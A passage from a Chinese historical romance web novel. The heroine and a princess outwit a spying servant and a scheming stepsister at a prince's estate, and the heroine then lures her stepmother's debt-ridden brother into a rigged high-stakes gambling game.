不远处的回廊里,一个年轻男子正背对着她这边,玄青色的衣袍,身姿如松。他似乎在和身边的小厮说话,侧脸被枝叶遮住,看不真切容颜。
谢云萱心跳陡然增快。
南安王府的年轻男子,还能有谁?
她下意识整了整衣襟,正要上前,却被柳嬷嬷拉住:“姑娘,这里人多眼杂,若是被人瞧见——”
“嬷嬷松手!”谢云萱甩开柳嬷嬷的手,压低声音道:“这么好的机会,错过就没有了!”
“姑娘!”
“你别跟着我,好好回去盯着谢泱!”谢云萱回头瞪了一眼柳嬷嬷,柳嬷嬷无法,只能先回水榭那边去了。
她提着裙摆,朝回廊上走去。刚绕过一丛花,就听见那男子开口:“这花开的好,折几枝给母亲带回去。”
谢云萱没注意他说的是“带回去”,她深吸一口气,款款上前,福身一礼:“见过世子——”
那男子回过头。
谢云萱的笑容僵在脸上。
是一张完全陌生的脸,十七八岁,眉眼含笑,分明是个小厮打扮的少年。
“姑娘认错人了吧?”少年挠头,“世子在前院呢,内院郡主有女客,殿下不来的。”
谢云萱的脸腾得烧起来。
不远处,突然传来一声极轻的笑。她猛地回头,看见裴易水的丫鬟正站在月洞门边,手里捧着茶盘,目不斜视地走了过去。
谢云萱恨不得找个地缝钻进去,那丫鬟肯定要告诉郡主,搞不好谢泱也会知道!
气死她了!
而在水榭那边,谢泱仍坐着喝茶。
忽然,裴易水的丫鬟回来了,在裴易水的耳边说了什么,逗得她忍不住嗤笑出声:“活该,丢死人了。”
谢泱看向她,裴易水紧接着对谢泱说了一遍谢云萱错把小厮认成世子的糗事。
谢泱也忍不住笑了出来,还真是偷鸡不成蚀把米。
笑完后,谢泱的目光又落在池边的假山上。
那是几块精心挑选的太湖石,石上攀着写藤蔓,叶子已经微微泛红。假山旁种着一丛丛的菊,层层叠叠在秋阳下舒展着。
她忽然想起方才未穿过的那道月门洞,想起门后那条青石甬道,想起那几重看不见全貌的屋檐。
王府的园子都是精心布置过的。每一棵树,每一块石头,每一丛花,都像是被人用尺子量过、用眼睛比过,才安置在这个位置。可偏偏又生不出刻意的感觉,只觉得就该是这样,山水花木本就该长在这里。
她从小生长的山庄也是这种感觉,不像永安侯府的布置,刻意中透着局促。她住不惯。
这王府住起来应该不错,谢泱蓦然地想。
裴易水看谢泱盯
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着池子那边不说话,便以为她是想去那儿,便拉着她说去看锦鲤。
柳嬷嬷见她们动了,便也要跟着前去。
她是罗漪华的人,今日来的主要任务就是看着谢泱,回去好事无巨细地禀报。
水池中锦鲤红白相间,煞是好看。裴易水让人取了鱼食来,和谢泱一起凭栏投喂。
柳嬷嬷站在十步外,眼睛一眨不眨地盯着。
裴易水对一旁的丫鬟使了一个眼神,那丫鬟意会,朝柳嬷嬷走去,对她说:“嬷嬷,我们郡主准备了些点心,请您去偏殿用些。”
柳嬷嬷摆手:“不必,老奴不饿。”
丫鬟笑道:“嬷嬷客气了,您是客人,哪有让客人干站着的理?您若不放心,吃了点心回来就是,水榭就这一个口,还怕谢姑娘飞了不成?”
柳嬷嬷被说动了几分,又见谢泱确实在喂鱼,并无异样,便跟着丫鬟去了偏厅。
偏厅里,果然摆着几道点心。柳嬷嬷刚坐下,丫鬟便端上一盏茶:“嬷嬷慢用。”
柳嬷嬷接过,喝了一口。
没过多久,她就觉得肚子不对劲了。
起初只是隐隐作痛,她还能忍。可那痛意越来越急,越来越压不住,她终于变了脸色,问那丫鬟:“请问······净房在何处?”
丫鬟指了指外面:“往东走,穿过那道月门就是。”
柳嬷嬷几乎是跑着出去的。
可她不知道,那道月门穿过去,并非什么净房,而是王府管事们议事的外院。
她刚冲出去没几步,就撞上了几个正在巡逻的王府护卫。
“站住!什么人擅闯外院!”
柳嬷嬷捂着肚子,脸都绿了,想解释,却一句话都说不出来——那茶里的东西,让她根本没心思解释。
护卫们看着这个捂着肚子、面色狰狞、一句话都说不出的陌生嬷嬷,面面相觑。为首的护卫沉声道:“带下去,先问清楚是哪个院的人、怎么带进来的,再做处置。”
柳嬷嬷被架走的时候,是有苦说不出,心里只有一个念头:完了!
谢云萱在花园里丢了脸,正躲着不敢见人,柳嬷嬷被带走,谢云烟一直安静地坐在角落里,没人注意她。
池边,只剩了谢泱和裴易水。
谢泱问裴易水:“你将柳嬷嬷支去干什么了?”
裴易水兀自笑了会儿,接着凑过来,眼睛亮晶晶地对谢泱说了她的计划,又问她:“我设计的这几出如何?是不是特别妙?”
谢泱看她一眼,调侃道:“郡主的聪明才智,小女自愧不如!”
“那是!”裴易水得意,“我的丫鬟都是练过的,还有那个小厮,我特意挑的,长得还算周正吧?专等着你那个继妹上钩呢——她那点心思,以为我看不出来?”
谢泱唇角微弯,没有说话。
裴易水突然“哎呀”一声:“我想起来,母妃让我抄的经书还剩半卷,我得赶紧回去抄完,不然她回来要骂我的。”她站起来,不由分说往外走,“姐姐你先在这儿歇着,看看鱼,我一会儿就来!”
谢泱看着她的背影,没说话。
这个借口,太假了。
但她不知怎的、特意地,没有拆穿。
水榭里安静下来,只剩秋风拂过水面的轻响。池中锦鲤聚了又散,红白相间的影子在水底游弋。
谢泱凭栏而立,裙摆被风轻轻吹起一角。她今日穿得素净,月白色的褙子,只袖口绣着几朵淡黄的桂花。满院的花香若有若无地飘来,和着水汽,清冽又柔软。
她也不知自己在想什么,只是望着那池水,出神。
身后传来脚步声,很轻,带着迟疑。
谢泱下意识回头。
桂花树旁,立着一个人。
玄青色的长袍,腰间系着白玉佩,他显然没料到她会回头,脚步顿住,目光与她相接。
是裴玠。
24.犹豫
“世子殿下。”谢泱敛衽行礼
裴玠看着谢泱认真给她行礼的模样,心里忍不住起了想要逗弄她的心思:“今日见你如此认真行礼的样子,倒是另我有些恍惚。”
谢泱不解,她哪次没有好好行礼,虽说自己自小不在凤阳长大,但谢泱认为自己还算是知书达礼。
“殿下此话何解?我以往行礼行得不够认真吗?”
“这倒不是——”裴玠顿了顿,“我只是觉得,今日的你,与昨日的你相差甚远罢了。”
昨日的自己?
昨日的自己······在翠微馆搂着裴玠的脖子不松手。
谢泱猛地抬头,发现裴玠正眼里带笑地看向自己,这才反应过来这人竟是在调侃她。
“裴玠!”
谢泱目带嗔怒,刚才的礼仪已经抛之脑后,瞪着裴玠。
明明称得上冒犯的语气,但裴玠却一点都没有生气的样子,反而被逗笑,仿佛要谢泱在他面前能随性做自己才是他的目的。
谢泱看着这个一向敛着情绪的世子竟然如此开怀的笑,甚至肩膀也在微微抖动,方才自己的那一丝怒意也就此消散,又仿佛被他感染一般,也笑了起来。
这一笑,那一丝横亘在两人之间微妙的尴尬感便就此化开。
“花收到了吗?”裴玠看着谢泱问。
突然提起这一茬,谢泱愣了一下,随后嘴角一弯:“收到了,没想到你还记得,我原以为殿下竟是这般言而无信的人,说好去拿长杆来折花,结果一去不回,叫我苦等,不似君子所为。”
谢泱这话也是在调侃那日裴玠在流云轩“落荒而逃”的行为。
不曾想,裴玠听到这话神情却突然认真:“叫你苦等——”他一步一步逼近谢泱,目光锁着她,一字一句道,“你,在等我?”
谢泱没有退,两人的距离越来越近,气氛一时有些暧昧。
裴玠身量高,站在谢泱面前严严实实将她笼住,阳光从背后打过来,两人的影子在地上相拥。
眼前人的身上好闻的沉香气息将谢泱包裹,谢泱垂眸,看不清眼中神色随后她像是想清楚了什么,嘴角轻弯,抬眸看着裴玠:“我确实在等——”
“啪——”
不远处突然传来瓷杯摔碎的声音,将谢泱原本要说出口的那句“我在等你折花给我”收了回去。
原先的那点子气氛也散得一干二净,裴玠的眉头微不可察地皱了一下。
两人同时往声音出处看去,却发现是在不远处吃茶的谢云烟失手将杯子打碎了,她看起来很抱歉,在与立即前来收拾的侍女说些什么,并未注意到这边的两人。
谢泱收回目光,略带歉意的说:“那是我三妹妹,给你们府上添麻烦了。”
裴玠并不在意什么三妹妹,他只觉得这个杯子碎的真不是时候。
“你方才说你在——”
“殿下,我想问问你关于罗岱的事。”
谢泱忽然就不想再说方才的话题了,她往后退了一步,转而提起罗岱的事。
裴玠看着往后退的谢泱,眼中闪过一瞬失落,随即又恢复那副古井无波的样子。
“我将他放了。”
谢泱追问:“那他可知是你抓的他?”
“我的人很谨慎,我也未曾在他面前露过面,我想着,你应该拿他还有用。”
谢泱松了一口气,虽说少一个罗岱并不会过多影响她设的局,但多了他,或许就会产生不一样的效果。
“殿下你可知,罗岱好赌?”
裴玠知道这一点,昨日审人前墨影便把罗岱的情况报上来了——一个烂泥扶不上墙的败类。
“你要用这一点做文章?”
谢泱勾唇:“正是,不瞒殿下,我要用此人在我的计划里‘添一把火’。”
裴玠稍加细想便想通了其中的关窍,谢泱要借灵丹阁收拾罗漪华,能用到罗岱的地方无非就是让罗岱欠下一大笔钱,罗岱缺银子,只能去找看似风光的候府夫人了。
罗漪华一着急,便只能从灵丹阁下手。
至于让罗岱欠下一大笔钱的法子,并不算难——只要在赌坊稍加运作即可,赌徒赌红了眼,也不会去思考是不是有陷阱。
“赌坊那边,我可以帮你运作——”
“不必,”谢泱拒绝了裴玠的帮忙,“我已经麻烦殿下很多次了,这次涉及到罗家姐弟,我想自己来。”
对于谢泱家中的情况,裴玠能查到的自是已经了然于心,查不到的,他隐约也能猜到七八分。
永安侯府现在的夫人与谢泱母亲之死怕是脱不了干系。
裴玠点点头:“若需要帮忙,来找我就是。”
两人又说了一些有关灵丹阁的事,离开前裴玠提醒谢泱:“按察使司马上就会有动作了,你若有什么计划,尽快行动。”
谢泱颔首:“多谢殿下提醒。”随后目送他消失在园子尽头。
裴玠走后,谢泱凭栏而望,手上拿着鱼食,有一搭没一搭地拨弄,她想到方才的场景,有些出神。
方才裴玠问她没说出口的那句话时,她犹豫了。
倘若她真的说出口了,两人之间的关系会变成什么样子呢?
她回想,从初次相遇的那个晚上,到流云轩相会,再到昨日裴玠救她,其中裴玠待她的种种细节,她也不是木头,自然能感觉到裴玠待她的不同。
谢泱的脑海中有两个声音——
一个告诉她,没错,裴玠就是喜欢你,你不是最爱银子了吗?接受南安王世子的喜欢,便是享不尽的荣华富贵,什么永安候府,什么罗漪华,什么灵丹阁的麻烦,都可以解决,想要做什么样的生意,都可以借王府的势,何必像现在一样苦苦支撑?
是啊,世子殿下,有权有势,可是另一个声音又在问她——
他是真心的吗?你与他相识不过数月,他表现得喜欢你,你怎清楚他是不是在玩弄你的感情?想想你的母亲,是何等凄惨的下场。
所以谢泱犹豫了,她身边没有真心换真心的例子给她借鉴,她母亲的经历只告诉她,婚姻不过一场利益交换,真心最不要紧,能从谋得什么才重要。
真心最不要紧······
“泱泱——”
裴易水充满活力的声音将谢泱的思绪拉回到现实——眼下灵丹阁的事要紧,何必想这么多呢?
谢泱整理好心绪,转身看着回来的裴易水,嘴角弯了弯:“经书抄完了?”说完便看到裴易水身后还跟着一人——方才不知道上哪去了的谢云萱。
谢云萱换了一身衣服,只是裙摆上又沾上了泥点子,像是摔了一跤,奇怪的是,她竟然不嚷嚷着要再更衣,只是将头偏向一边,异常沉默。
谢泱也不问,只当没这个人。
没多久,柳嬷嬷便被王府护卫送了回来,脸色铁青,一言不发。
而谢云烟始终安安静静地跟在众人身后,像个影子。
又坐了一会儿,谢泱便起身告辞,裴易水送她们出府,笑吟吟地挽着谢泱的手:“泱泱以后常来玩。”
谢泱笑着看向这个如此可爱的郡主,笑着应答:“当然,就怕你烦我。”
“就知道打趣我,我高兴还来不及呢。”
马车上,谢云萱死死地盯着谢泱,想问什么,又不知从何问起。柳嬷嬷坐在角落里,缩
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着肩膀,不敢抬头。
谢泱靠在车壁上,闭目养神,手上摩挲着装着那枝秋海棠的盒子。
等回了候府,谢云萱一言不发冲回了房间,罗漪华派人来问,也问不出什么。
罗漪华问柳嬷嬷,柳嬷嬷也是支支吾吾半天,说不清楚。
罗漪华叹了一口气,也不再管了,现在一个罗岱就够她头痛了——
就在谢泱去王府的期间,消失了一夜的罗岱终于回来了,回来便回来,却带了一身的伤,鬼哭狼嚎地来找罗漪华。
“姐,我昨晚被一群不知身份的人打了——”
罗岱把袖子撸起来给罗漪华看,青一块紫一块,一看就是被钝器打的,说着还要把衣服脱下来展示背上的伤。
“行了!”罗漪华啧嘴,她哪能不知道怎么回事,昨日世子那番话分明要挑明了人就是他抓的,但她能怎么办?总不能让她去找世子要说法吧,因此她心疼归心疼,但也没提要给罗岱做主的事。
“我们的计划差点就泄露了,这口气我们也只能咽下了,你且忍忍吧。”
罗漪华别过眼,不再看罗岱。
罗岱一听计划差点泄露,吓得出了一身汗,战战兢兢问:“姐夫知道了?”
罗漪华没好气地说:“暂时不知道,但你姐夫已经怀疑我了,你消停一点吧。”
罗岱沉默了。
昨天晚上他去追谢泱,结果被人套了头带走,不知道在哪里关了几个时辰后又被蒙着头放了出来,放出来前被那些人狠狠打了一顿。
说来可气,那些人特意避开了他的脸,专挑他身上打,使得他从外面看来完好无损,身上却每一块好地,让他是有苦说不出,憋屈得很。
他心里窝火,但也无可奈何,只能先将养着,为此消停了几天。
至于罗漪华,因着谢泱被绑的事,谢元鼎冷了她几天。
夏姨娘借此明里暗里来嘲讽她,气的她嘴边长了好大一个火疖子,这几日都是闭门不出。
没人打扰谢泱,谢泱自是有功夫好好琢磨了一下赌坊的事情。
一日,谢泱从地下钱庄出来时,已是黄昏。
巷子昏暗,墙角积着未干的雨水,空气里弥漫着潮湿的霉味。谢泱带着幕篱,脚步不快不慢,像是寻常途径此地的女眷。
谢泱身后跟着灵丹阁掌柜叶三。
叶三年轻时曾有几年跟着她外祖走南闯北,三教九流都打过交道,刚才钱庄里那个点头哈腰的管事,见了他也得喊一声“爷”。
“小姐,”叶三压低声音,“罗岱那边,查清楚了。”
谢泱没说话,只是微微侧头。
“常去的赌坊有三处,最长去的是东市的‘如意坊’。前前后后加起来欠了六千两银子,都是利滚利的印子钱,债主是本地一个姓孙的泼皮,上个月揍了罗岱一顿,罗岱拿一处地契抵了才勉强还了一部分。”
“六千两。”谢泱的声音从幕篱后传来,听不出什么情绪。
难怪这个月突然就住到候府来了,原来是为了躲债。
“是,那孙老板放话,再还不上,下次就剁他手。”叶三顿了顿,“罗岱怕得要死,躲着已经好久没去过如意坊了。”
谢泱嘴角弯了弯,怕得要死?可据她所知,罗岱住候府这段时间也没少去赌钱。
“他的赌品如何?”谢泱问。
“烂。”叶三答得干脆,“赢钱就狂,输钱就赖,欠债不还,还翻脸不认人。如意坊的伙计瞧见他都要偷偷啐几口,嫌他晦气。”
谢泱冷笑,烂就好,烂人才好对付。
“那就尽快安排人,引他赌场大的。”
“是。”
25.赌徒
“按姑娘说的,那边的人已经安排好了。”叶三继续道,“周公子是扬州商贾出身,去年才来凤阳落脚,底子干净,查不出毛病。如意坊那边也打点好了,柜上的伙计都是我们的人。”
“让他慢些。”谢泱道。
叶三一怔:“姑娘的意思是······”
“罗岱虽然蠢,但也不是第一天赌。”谢泱语气平平,“一晚上就输掉十万两,鬼都知道有问题。”
罗岱不会信,罗漪华就更不会信了,万一他们破罐子破摔,让官府来查,谢泱也有的麻烦。
叶三恍然:“姑娘是说,让他先多尝几天甜头?”
谢泱点头。
叶三皱眉,有些犹豫道:“这样一来,又要花上好些天,时间上会不会有些来不及?”
谢泱何尝不担心这个问题,按察使司那边何时行动她也捏不准具体的日子:“只能赌一把了。”
“老奴明白了。”叶三躬身,“姑娘放心吧,周公子那边,我会交代清楚。”
三日后,如意坊。
罗岱在如意坊门口踌躇了半个时辰,还是咬牙进去了。
他这几日在府里养伤,整日百无聊赖,好长一段时间没赌,手实在痒痒。昨日他好不容易出门,却被孙泼皮的人堵了路,说剩下的钱再还不上就砍了他的手脚。
他实在是走投无路了,这段时间从罗漪华那里七七八八搜罗了小千两银子,眼下却还差个一千八百两。
他总不能坐着等死。
赌坊里乌烟瘴气,吆五喝六的声音震得人耳朵疼。罗岱缩着脖子往里走,不见在别的场合的威风,他正琢磨着能不能找个脸生的冤家借点钱周转,忽然被一个人撞得趔趄。
撞他的人是个瘦猴似的小厮,忙地点头哈腰向他赔罪。罗岱刚要骂人,就见那小厮身后走来一个人。
二十出头的年轻公子,一身月白锦袍,腰间挂着成色极好的极好的玉佩,手里摇了一把折扇,眉眼含笑,气度雍容,在这赌场里很是不同。
“阿福,怎么回事?”那公子开口,声音懒懒的。
“公子,小的不长眼,撞了这位爷——”
“撞了就赔罪,在这里挡道做什么?”那公子斥责完这名叫阿福的小厮后,目光在罗岱身上一扫,忽然“咦”了一声,“这位兄台,倒是瞧着面善。”
罗岱听他这么一说,微微一愣。面善?自己压根不认识这号人啊。
可那公子已经笑着向罗岱拱手,介绍自己的来历:“在下姓周,从扬州来凤阳办点货,兄台怎么称呼?”
赌场这地界,只要是没大仇的,人人都乐意相互结交结交。
罗岱没多想,稀里糊涂就报了名号。
“原来是彭城伯府的罗公子,失敬失敬。”周公子向罗岱作揖,“相逢即是缘分,罗公子可否赏脸与我玩两把?”
周公子话语间的奉承让罗岱心花怒放,让他暂且忘记了在如意坊中他的名声很臭这回事,他挺直腰杆,拿出一副世家公子的气派来,眼神打量着周公子——
罗岱看着他那身行头,看着他那浑然天成的纨绔气派,再看看他身后跟着的那几个腰杆笔直的随从——喉咙动了动。
罗岱对这个比他还有世家公子做派的人起了莫名地嫉妒,但他不得不承认,这人绝对是个肥羊。
他故意清了清嗓子:“周公子客气,只是我这个人,不是随意就出手的······”
“哎,罗公子见外了不是?不如这样——”周公子手一挥,“阿福,取五百两银子来,算我请罗公子的。”
五百两!罗岱眼睛几乎要冒出光来。
他没注意到,赌坊二楼的雅间里,有一扇窗微微开了一条缝。
裴玠站在窗前,看着楼下那张得意忘形的脸,手指在窗棂上轻轻叩了叩,目光沉静。
“殿下,”身后,玄刃低声禀报,“周昂霄那边传话来,说谢姑娘的人找了他。”
裴玠“嗯”了一声,没有回头。
“谢姑娘要他在如意坊里‘偶遇’罗岱,具体的局没说,只让带他赌几天。”
“赌几天?”
“是,说是要让罗岱先尝尝甜头。”
裴玠嘴角弯了弯,多尝几天甜头,这倒是她的作风——不急不躁,让猎物自己一步一步进笼子。
聪明的姑娘。
“周昂霄那边,可还稳妥?”
“稳妥,他是扬州商贾出身,去年才来凤阳,底子也干净。谢姑娘的人找上他时,他原想推辞,后来不知怎的又应下了。”
裴玠没说话。
楼下,罗岱已经被周昂霄带着坐在了赌桌前,面前堆着周昂霄“请”他的五百两筹码。
裴玠目光看着那张脸,目光淡得像是在看一件死物——本来就是将死之人。
“让人盯着,”他说,“别让罗岱起疑,也别让谢姑娘发现我们的人。”
“是。”
窗缝无声地合上。
赌桌上,罗岱的手气好得不可思议。
押大,开大。押小,开小。押豹子,开豹子。
他面前的筹码堆成了小山,粗略一算,已经赢了接近一千两。
“罗兄好手气!”周昂霄笑着拍手,满脸的羡慕,“我这请客的钱,倒是让你赢了回去。”
罗岱开始还能收敛表情,随着赢得越来越多、周围的恭维越来越多,他便维持不住淡定的表情了,整个人笑得合不拢嘴。
他赌了这么长时间,从来是输的时候多,赢的时候少,何曾有这么顺过?
一定是老天开眼,叫他在赌桌上也有出人头地的一天!
“周公子客气,”他眼睛滴溜溜转一圈,搓搓手,目光还残留着赢钱的兴奋,“本公子还没尽兴,再来几把!”
周昂霄看了看外头天色,又看了看罗岱,似乎有些犹豫:“这······时辰也不早了,我那边还有批货要处理——”
“周兄!”罗岱一听他要走,记得连称呼都改了,一把拉住周昂霄的袖子,“再玩两把,最后两把!赢了算你的,输了算我的,如何?”
周昂霄被他这话说地笑起来:“罗兄这话说的,我像是那种爱占便宜的人吗?”他顿了顿,忽然想起来什么似的,犹豫了一番开口:“不过要说玩,这如意坊其实是很难让你我这般人尽兴的······”
周昂霄故弄玄虚,引得罗岱追问:“周兄此话何意?”
“要说玩大的,我倒是知道个好地方——只是那边门槛高,一局少说也是万两上下,罗兄,这筹码······”
万两上下!
罗岱的心脏狠狠地跳了一下。
他往日在赌桌上少的几十两一局,多的也不过二三百两,今日赢的这几把比他以往赢的所有钱加起来还多!一局万两,他以前是想也不敢想。
若是赢了,他就可以一举翻身,自然是天大的好事。可倘若是输了······如此天文数字,那只有把他家卖了才还得起,只是,恐怕在那之前,爹娘和姐姐会先把他宰了。
这下轮到罗岱犹豫了。
“如何?”周昂霄问他,“倘若罗兄有这个胆量,我自然奉陪。”
罗岱没说话,而是暗自思量着,他与这个周昂霄不过认识短短几个时辰,若真有这么好的地方,他会带自己去?可疑。
他低头看着面前那堆筹码,又抬头看着周昂霄那张人畜无害的脸,分明是一只大肥羊。
到嘴的肥羊肯定是不能让他跑了,但他罗岱也没那么好糊弄,还要再观望几天才是。于是他当即换了一副说辞:“周兄方才说的是,眼下也不早了,周兄有事,我也不耽误你,不如我们明日再聚。”
拒绝的意思很明显了,周昂霄也没有再劝,只是淡淡一笑:“既如此,那罗兄自便。”
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第二日,罗岱又去了如意坊。
他本想隔几日再去的,因为孙泼皮的人还在找他,他原不该频繁出现在如意坊的。可昨日赢来的一千两,折成银票揣在怀里,烫得他睡不着觉,周昂霄又派人来邀他,惹得他心痒痒。
那姓周的既然非要把银子送上门来,他也没办法,那便再去几次,赢几天说不定他就彻底翻身了。
见好就收,他绝不贪心——罗岱就这么告诉自己。
一进去,周昂霄果然还在那等着他。一见他,笑着招呼:“罗兄,正等你呢!”
罗岱心里头的那点谨慎,被周昂霄这么一招呼,立马散得干干净净。
这一晚,罗岱又赢了。
不多不少,又是八百两,赢得很顺,顺得让他坚信自己是时来运转了。
“罗兄手气真好!”周昂霄输了几百两,但却毫不在意,豁达地拍拍罗岱肩膀:“明儿还来,我就不信还赢不了你。”
罗岱面上笑着应下,心里却鄙夷这周昂霄真是个冤大头。
走出如意坊时,罗岱摸了摸怀里沉甸甸的银票,忽然觉得那些追债的也不过如此,只要他手气一直这么好下去,迟早那个姓孙的要跪下来叫他爷爷。
罗岱“哼”了一声,走出了巷子。他没注意到,巷子对面,一个戴着斗笠的人影一闪而过。
裴玠坐在马车里,隔着车帘的缝隙,看着罗岱从如意坊出来,那张脸上写满了“得意”两个字。
他目光沉了沉。
“殿下,”玄刃的声音从车外传来,“谢姑娘的人这两日一直盯着周昂霄,似乎是确认他有没有按计划行事。周昂霄那边也谨慎,只是让罗岱赢个几百两的,不多不少,吊足了他的胃口。”
裴玠“嗯”了一声。
“另外,孙泼皮那边近日频频去骚扰罗岱似乎也是谢姑娘有意而为之。”
裴玠的手指在膝上轻轻叩了叩,嘴角一弯。
被追债,然后去赌,再赢钱——这种起起落落,最磨人的心志,也最容易让人上瘾。
她算人心算得很准。
马车缓缓驶离,隐入夜色,仿佛从未出现过。
五天了,罗岱已经连着赢了五天。
他面前堆着近万两的筹码——不是现银,是筹码,是这些天他“实力”的证明。周昂霄输得多赢得少,但他却丝毫不在意,反而天天拉着罗岱喝酒,夸他是“天生圣手”。
“罗兄,你这手气,不去玩大的真是可惜了。”周昂霄醉眼朦胧地拍着他的肩膀,“就我上回说的那个地方,罗兄你去,一夜赢个十几万两都不成问题!”
这几日周昂霄没少在他面前提“那个地方”,起初他还有些疑心,但现在他动摇了。
十几万两啊!只要他赢了,那些看不上他的人都要反过来求他!
“那地方······”他压低声音,“在哪儿?”
周昂霄凑过来,在罗岱耳边嘀咕了几句。
罗岱的眼睛越来越亮。
没人注意到,赌坊角落里,一个一直埋头赌钱的灰衣人站了起来,无声无息地消失在人群中。
那灰衣人穿过两条街,在灵丹阁侧边角门前停下。门开了一条缝,他闪身进去。
“小姐。”
谢泱正在二楼看账本,闻言抬眸。
“罗岱上钩了,周公子今晚带他去城西的暗局。”
谢泱点了点头,目光落回账本上,她叮嘱那人:“让人盯着,别让任何人搅局。”
“放心吧小姐。”灰衣人说完便退下了。
“姑娘,”身后半夏开口,眼中带着兴奋,“这么一来,我们马上就要对付罗漪华了是吗?”
谢泱笑了笑:“你倒是兴奋。”
半夏不好意思地摸摸头,没再说话,谢泱的笑却淡了下去,她心里清楚,接下来她有一场硬战要打,一步都不能错。
26.入瓮
城西。
一处不起眼的宅子,门口连块牌匾都没有。
罗岱跟着周昂霄进去时,心里其实有点打鼓,只是一想到这连着好几天的“运气”,想到那“一夜赢十几万两”的诱惑,心中的不安又被压了下去。
他左右环顾观察,在确认没什么异样后,跟了进去。
厅里已经坐了三个人,一个中年胖子,一个干瘦老者,还有一个蒙着面的黑衣人。
“周公子来了,”那胖子起身拱手,看起来与周昂霄颇为熟稔,在看到罗岱后,面露疑惑,“这位是······”
“新认识的朋友,彭城伯府家的公子,罗岱罗公子。”周昂霄笑着介绍,绘声绘色地讲述罗岱这几天是如何在赌桌上“大杀四方”的,“罗兄这几日手气好的很,我带他来见识见识。罗兄,这是刘老板。”
罗岱故作谦虚:“哪里哪里,运气好罢了。”
“原来如此。”那胖子面上了然,又向罗岱拱手:“罗公子,何必谦虚!赌场之上,运气就是本事,本事就是运气!来来来,既然来了,我们就玩几把!”
罗岱装模作样地回了句“刘老板客气”,随后被让到上座,他悄悄观察在座的几人,心里有些奇怪,但随后自己打消了疑虑,这种地方的人自然不会是普通人的模样。
比如说他自己,分明面上都带着圣手的光辉。
罗岱暗自得意着。
“不知罗公子带了多少筹码?”
闻言,罗岱“啪”的一声,将怀里整整一万两的银票往桌上一扔——都是他这些天赢来的。
“罗公子爽快!不过——”刘老板话锋一转,“罗公子头回来,有些规矩我得先讲清楚。”
“我这场子,不玩那种小打小闹的。一局起步,一万两。”刘老板竖起一根手指,“上不封顶。”
罗岱心里咯噔一下,也就是说,他的这些筹码,就够一局的!
“当然了,”刘老板话锋又一转,笑容又堆起来,“罗公子若赢了,这一万两立刻成倍翻,只要赢家愿意,可以连本带利一直押下去,十局二十局都行,只要你有这个胆量。”
成倍翻!也就是说,若是一直赢下去,就不是十几万两的事了——是几十万、上百万!
“好!”罗岱一拍桌子,“我玩!”
点心摆上来,那老者亲自洗牌发牌,手法利落,一看就是行家。
他盯着这人洗牌的手,看他把骨牌洗了一遍又一遍,心里默念他这几天总结出来的赢牌“规律”——其实他不懂,只是赢多了,莫名觉得自己能“感应”到好牌。
牌发下来,开牌,不出意外,罗岱赢了。
他一愣,随即狂喜。
刘老板哈哈大笑:“罗公子果然手气旺!来来来,再来!”
第二局,罗岱连本带利押了两万两。
开牌,又赢了。
第三局,四万两押上。
开牌,赢。
整整八万两!罗岱呼吸急促,手控制不住地微微颤抖,脑子里只有一个念头——老天爷开眼了!
等到第四局结束,他一万两的筹码已经翻成了十六万两。
刘老板的脸色微变,又恢复如常。那洗牌的老者眉头皱了皱,洗牌手一顿。角落里那个黑衣人始终一动不动,像一尊雕像。而周昂霄一直在充当看客的角色。
罗岱没注意到这些,他现在眼里只有他面前堆成山的筹码,他这辈子还没见过这么多钱!
“罗兄,”周昂霄凑过来,压低声音,“差不多了吧?不如见好就收。”
罗岱看着周昂霄那张带笑的脸,脸色拉了下去,这人眼中分明都是嫉妒!
“再来!”罗岱手一挥,“十六万两,全押上!”
第五局开牌,罗岱却输了。
十六万两全没了,他的笑僵在脸上。
“哎呀哎呀,可惜了!”刘老板拍了拍大腿,“罗兄别灰心,再来一局肯定能赢,这样吧,这一局我只要你的利息,本金还是你的!”
罗岱赢得那十六万两,有十五万两都算他赢来的“利”,他现在仍有一万两筹码。
还好还好,本金没输了去,再来再来,他就不信不能再赢回来!
接下来,罗岱又连赢三局,筹码又回到了八万两。
罗岱搓搓手,就是这样,又都回来了!
第九局,罗岱全押,八万两输光。
罗岱呆呆地看着面前的筹码,还剩两万两——第一局赢的一万两,加上他自己带的一万两,再减去······他也算不清了,但他知道,他还有钱。
“再来!”罗岱顾不得别的了,他已经赌红了眼。
······
第十局,一万两,赢。
第十一局,两万两押上,赢。
第十二局,四万两全押,输,又没了。
罗岱目光呆滞,还剩多少?他算不清了,他只知道他带来的那些筹码,好像······不多了。
“罗公子,”刘老板慢悠悠地开口,“你今晚一共玩了十二把。胜九负三,赢多输少,按说这手气不算差——可你赢的这九里,最多连赢了四局,可三次输的时候,每次输的都是你‘全押’的那一局。”
他顿了顿,笑容意味深长。
“罗公子,赌场上有句话,不知道你有没听过——‘不怕输的多,就怕押得狠’。你玩的这十二局,但凡押得狠的那几局,全输了,好不容易慢慢赢回来,结果下一局又押狠了。
罗岱的脸色青了又白,白了又青,最后变成灰色:“再来。”他说,声音已经变得沙哑。
“再来?”刘老板挑眉,“罗公子,你有没有算过,你今晚一共输了多少钱?”
罗岱愣住,十二局,他赢了又输,输了又赢,他算不清了。
“我帮你算,”刘老板从袖子里掏出一把算盘,噼里啪啦打了一阵,然后抬起头,笑眯眯地看着他说:“罗公子,你今晚一共输了十一万两。”
十一万两?!罗岱脑子嗡的一声。
“不可能!”他腾得站起来,“我今晚最多可是赢了十六万两,就算后来输了,也只是把那十几万两输了回去,怎么可能还倒欠十一万两!”
“欸,罗兄别急,”刘老板把算盘推到他面前,“你自己看。”
罗岱低头看去,算盘上的数清清楚楚?1?,但他头晕眼花,已是一个子儿都看不懂了。
“罗兄,你看明白了吗?”刘老板指着算盘一笔一笔解释给他听,“这账没错,你今晚一共输了十一万两——其中三万是本钱,八万是你后来赢了又输回去的。”
罗岱的脑子嗡嗡作响,三万本钱,可他只带了一万两来啊!
“刘老板,”他声音颤抖,“我只带了一万两来,哪来的三万两本钱?”
刘老板看着他,笑容不变:“你第一局赢了,第二局押的是两万两——那多出来的一万两,是你借的。”
“我没借!”
“你借了。”刘老板慢条斯理地从袖子里掏出一张纸,展开,递到罗岱面前。
是一张借据,上面写着:今借刘记赌坊白银一万两,以作赌本,当场归还。借款人:罗岱。手印:一个鲜红的拇指印。
罗岱死死地盯着那个手印,那是他的吗?他不记得自己按过啊!
他连忙将手伸出,发现自己右手大拇指上还残留着红色的印泥,怎么会这样?!
“罗公子,”刘老板将拮据收了回去,“你第二局押两万两的时候,少的那一万两是我借你的,你还按了手印,忘了?”
罗岱张了张嘴,说不出话来。
